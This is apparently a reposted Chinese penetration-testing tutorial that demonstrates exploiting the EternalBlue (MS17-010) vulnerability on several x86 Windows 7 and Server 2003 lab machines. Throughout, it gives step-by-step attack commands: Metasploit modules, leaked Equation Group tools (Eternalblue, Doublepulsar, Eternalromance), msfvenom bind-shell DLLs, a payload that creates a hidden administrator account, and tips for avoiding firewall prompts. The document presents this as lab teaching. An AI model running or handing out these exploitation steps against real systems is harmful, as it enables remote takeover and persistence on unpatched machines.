抄个冷板凳---x86架构MS-17010漏洞的多重利用方法

简介: x86架构永恒之蓝漏洞的多重利用复现演示

前言:

此次共涉及5个不同版本的x86架构的主机:

Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

Windows 7 企业版6.1(7600)--- 192.168.50.188

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

Windows 7 家庭版6.1(7601) --- 192.168.50.76


众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:

漏洞检测payload:

auxiliary/scanner/smb/smb_ms17_010

x64架构漏洞利用payload:

msfconsole的exploit/windows/smb/ms17_010_eternalblue

x86架构漏洞利用payload:

exploit/windows/smb/ms17_010_psexec

x86/x64架构漏洞探测payload:

auxiliary/admin/smb/ms17_010_command  


以上payload为msfconsole自带的脚本,但是某些时候这几种payload都不是很适用的时候,可能就需要我们去另辟蹊径了,所以今天笔者为大家带来了几种好用的解决方案,本次环境均为本地搭建,仅作为实验教学使用


Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188


首先我们看一下第一台试验目标的systeminfo信息

图片.png

图片.png

图片.png

我们可以先利用auxiliary/scanner/smb/smb_ms17_010 进行探测

图片.png

可以确定,ms17010是存在的,接着我们尝试一下msfconsole的exploit/windows/smb/ms17_010_eternalblue

图片.png

此时提示,由于该模块的payload仅仅适用于x64架构,所以无法进行攻击,那么我们可以尝试下下一个

图片.png

可以看见,攻击失败了,我们尝试下一个

auxiliary/admin/smb/ms17_010_command  

图片.png

依然是失败,那么此时,漏洞明确存在的情况下,我们应该如何对目标系统进行测试?

这里介绍一款工具,该工具为影子经纪人在2017年放出来的方程式工具,目前该工具依然可以从github下载,同样的adb123表哥也做了一个图形化的工具

链接: [https://github.com/abc123info/EquationToolsGUI](https://github.com/abc123info/EquationToolsGUI)

这里先不使用工具,因为笔者在测试的时候发现工具可能存在一点bug,所以这里首先使用原版的工具进行演示

该工具需要在x86架构的机器使用,并且需要安装2.6.6d python以及pywin32-221.win32-py2.6 ,安装教程请自行百度

方程式上线:

fb.py

use Smbtouch

set TargetIp 192.168.50.165

execute

图片.png

Smbtouch模块为漏洞检测模块,可以看到,成功的检测出了永恒之蓝漏洞;接着直接进行漏洞利用

use Eternalblue

图片.png

图片.png

一路默认即可,如果发现targetip不对,可以set一下

图片.png

而后进行dou模块,该模块是用来下攻击脚本的

use Doublepulsar

图片.png

前面都是默认,需要注意的是,在Function这里的时候,需要选择RunDLL选项,Eternalblue漏洞模块不需要下shellcode.bin后门

图片.png

该工具不能直接获取shell,所以需要其他的shell加载器对shell进行加载,同时,该工具漏洞利用方式为dll注入,所以需要注意系统的架构以及注入的进程,经过测试,若是windows7系统x86架构,注入lsass.exe的话,主机会在1分钟后重启,导致shell不上线或者丢失,同那个样的,正向连接马子在方程式工具中,是可以开启目标机器监听端口,但是会被rundll32.exe检测到,防火墙会进行拦截,导致即使开放了监听端口而无法上线的情况;

我们首先看一下正向连接小马,至于为什么用正向,因为在内网环境了,有的时候客户的机器是不出网的,如果使用反向小马,是不可能shell回连的

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

将生成的x86.dll文件移动到方程式攻击的设备上,而后设置好上传dll的路径

图片.png

同时,msf开启监听

图片.png

图片.png

而后目标设备就要重启了,同时dll注入成功,端口1003被开放

图片.png

可以看见,虽然端口开放了,但是并没有上线,因为防火墙给拦住了,后续大家可以看到为什么会被拦截

图片.png

换一个打法

msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 123456 /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86_xxx.dll

这个payload的目的是创建用户,这样即使是上不了线,但是可以创建用户,或者执行其他命令,这里创建用户是因为简单,大家在实际应用当中很有可能会遇到3389没有开放的情况,这个时候就需要替换命令,或者是利用创建的新用户,通过smb协议去弹计划任务上线,或者利用impacket工具上线

图片.png

图片.png

攻击之前

图片.png

攻击之后

图片.png

图片.png

可以看到,即便计算机重启了,但是用户依然创建成功了,所以大家在工作的时候要慎用,以免影响客户正常业务

如果我们将注入的进行修改为explorer.exe呢

图片.png

此时并没有达到上线目的,别急,清先往下看

kali上线

kali安装wine32

apt-get install wine32

报错了就执行下一个

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

检测安装状态:

wine --version

wine cmd.exe

图片.png

下载专用攻击模块

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

下载下来之后解压,并执行如下命令

cd Eternalblue-Doublepulsar-Metasploit/

将下载的模块导入到msf的文件夹

cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

图片.png

确保deps目录不能空,一会要用

msfconsole

search eternalblue  

use 0

图片.png

set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set PROCESSINJECT explorer.exe

set TARGETARCHITECTURE  x86

set rhost 192.168.50.165

图片.png

run

图片.png

这里其实就是防火墙拦截了,如果不允许,端口会开放成功,但是kali却怎么也连不上

同意之后,才可以连接shell,

有可能第一次run会失败,目标机器可能会弹explorer.exe信息,不用理会,重新run就行

图片.png

图片.png

至此,第一台结束,我们看一下第二台

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

图片.png

图片.png

图片.png

其实这台机器和第一台几乎没有任何区别,只不过多了几个补丁,这里用他的目的是为了演示,如果我们拒绝了rundll32.exe的网络请求,会怎么样

这里我们可以继续利用kali,然后假设我们不允许rundll32.exe,点击取消按钮,我们此时发现,端口依然会开放10001,但是kali死活连接不上去

图片.png

图片.png

但是如果此时,将payload改回反向连接

set payload windows/meterpreter/reverse_tcp

run

图片.png

由于第一台与第二台没啥区别,仅仅是为了演示如何不触发弹窗上线,所以不演示fb工具


Windows 7 企业版6.1(7600)--- 192.168.50.188

首先使用fb工具(方程式工具)进行攻击,但是我们发现,无论怎么打都是失败

图片.png

而后利用msf工具的dou模块进行攻击,方式与第一台步骤是一样的

正向连接,一样会导致目标机器弹窗,我们直接关闭即可,不给他权限

图片.png

图片.png

而后是msf反向打,反向打是不会告警的,上线成功

图片.png

该机器演示的目的,是为了告诉大家,方程式工具只能检测到ms17010漏洞,但是无法攻击成功的时候,我们可以利用我们第一个方法来拿到shell,由此可见,msfconsole攻击模块似乎更加好用

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

图片.png

图片.png

该机器与win7 x86明显有差异,1-3实验,Doublepulsar模块都可以利用成功,但是针对这台windows server 2003而言,却攻击失败了

图片.png

但是此环境方程式工具却可以利用成功

图片.png

此时永恒之蓝就不好使了,上其他的科技与狠活

use Doublepulsar

生成shellcode.bin后门

前面所有的都是默认的

图片.png

然后选择0,OutputInstall ,并设置路径,这里路径设置成 c:\temp\shellcode.bin

图片.png

执行成功后,会在该路径下成功一个shellcode.bin文件,该文件为后门文件

图片.png


use ETERNALROMANCE


该模块是用来进行漏洞利用,将生成的shellcode.bin文件打到目标系统里

图片.png

图片.png

图片.png

只需要填写shellcode.bin文件的位置即可

图片.png

其余的通通默认即可

图片.png

use Doublepulsar 攻击

图片.png

图片.png

这里填写生成的正向连接的x86.dll文件路径,这个文件与上文的都是同一个

图片.png

图片.png

msf上线

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.199

run

图片.png

我们可以发现,这里使用正向连接,目标机器不会触发告警,防火墙不会拦截,直接上线,且不需要修改explorer.exe注入进程,设备也不会重启、蓝屏


该实验可以用kali的另一种玩法


search ms17

use 1

set payload payload windows/meterpreter/bind_tcp

set rhost 192.168.50.199

图片.png

run


图片.png

最高权限

图片.png

Windows 7 家庭版6.1(7601) --- 192.168.50.76

图片.png

图片.png

图片.png

没有发现17010相关漏洞

图片.png

图片.png

最后针对windows server 2003 sp2 x86的实验目标,演示一下abc123表哥的神器,解放双手

图片.png

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

使用msfconsole正向监听


use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.205

run

图片.png

将生成的x86.dll文件存放在图形化工具的根目录下,并将原有的x86.dll重命名

图片.png

先点击生成bin,而后点击漏洞利用,最后点击dll注入


图片.png

攻击成功后,发现msf上线

图片.png


相关文章
|
5天前
|
编译器 API C语言
在x86架构汇编语言中函数参数传递的三种约定
在x86架构汇编语言中函数参数传递的三种约定
17 2
|
5天前
|
前端开发 开发者
【专栏】BEM(Block-Element-Modifier)是一种前端命名规范和架构方法,旨在创建清晰、可维护的代码结构。
【4月更文挑战第29天】BEM(Block-Element-Modifier)是一种前端命名规范和架构方法,旨在创建清晰、可维护的代码结构。它包括Block(独立功能单元)、Element(Block的子元素)和Modifier(表示状态或变体)。BEM的特点包括命名一致性、模块化设计、清晰结构和可复用性,适用于代码组织、样式管理、组件化开发和团队协作。虽然命名较长和学习成本是其局限性,但BEM在提升代码质量和效率方面具有显著优势,是前端开发的重要工具。
|
5天前
|
存储 数据采集 监控
信息系统架构开发方法ADM
信息系统架构开发方法ADM
61 5
|
5天前
|
机器学习/深度学习 存储 人工智能
一阶优化算法启发,北大林宙辰团队提出具有万有逼近性质的神经网络架构的设计方法
【4月更文挑战第19天】北京大学林宙辰团队在深度学习领域取得突破,提出基于一阶优化算法的神经网络设计方法,构建具有万有逼近性质的模型,提升训练速度和泛化能力。该方法利用一阶导数信息,高效处理大规模问题。虽然面临非光滑优化和收敛速度挑战,但团队通过正则化和自适应学习率等策略进行改进,相关研究在多个标准数据集上表现出色。
16 1
|
5天前
|
机器学习/深度学习 人工智能 自然语言处理
|
5天前
|
存储 机器学习/深度学习 并行计算
阿里云服务器X86计算、Arm计算、GPU/FPGA/ASIC、高性能计算架构区别
在我们选购阿里云服务器的时候,云服务器架构有X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器、高性能计算可选,有的用户并不清楚他们之间有何区别,本文主要简单介绍下不同类型的云服务器有何不同,主要特点及适用场景有哪些。
阿里云服务器X86计算、Arm计算、GPU/FPGA/ASIC、高性能计算架构区别
|
5天前
|
中间件 编译器 调度
嵌入式软件架构基础设施设计方法
嵌入式软件架构基础设施设计方法
87 0
|
5天前
|
架构师 测试技术 Linux
嵌入式软件架构中抽象层设计方法
嵌入式软件架构中抽象层设计方法
99 0
|
20小时前
|
缓存 负载均衡 算法
构建高效微服务架构:API网关的设计与实践
【5月更文挑战第20天】 在微服务架构中,API网关作为系统入口,承担着请求路由、负载均衡、权限校验等关键职责。本文将深入探讨如何设计一个高性能且易于扩展的API网关,并分享在实际项目中的实践心得。通过分析API网关的核心组件和常见挑战,我们将讨论优化策略,包括但不限于缓存机制、限流算法以及服务熔断。文章最终旨在提供一套可行的解决方案,帮助开发者构建出既健壮又灵活的后端服务架构。
|
1天前
|
监控 负载均衡 API
构建高效可靠的微服务架构:后端开发的新趋势
【5月更文挑战第19天】 在当今快速发展的数字时代,微服务架构已经成为了软件开发领域的一大热点。本文将深入探讨如何构建一个高效且可靠的微服务架构,以满足不断变化的业务需求和应对日益增长的用户需求。我们将从微服务的基本概念、优势、关键技术以及实践建议等方面进行详细阐述,为后端开发人员提供一套完整的解决方案。
http://www.vxiaotou.com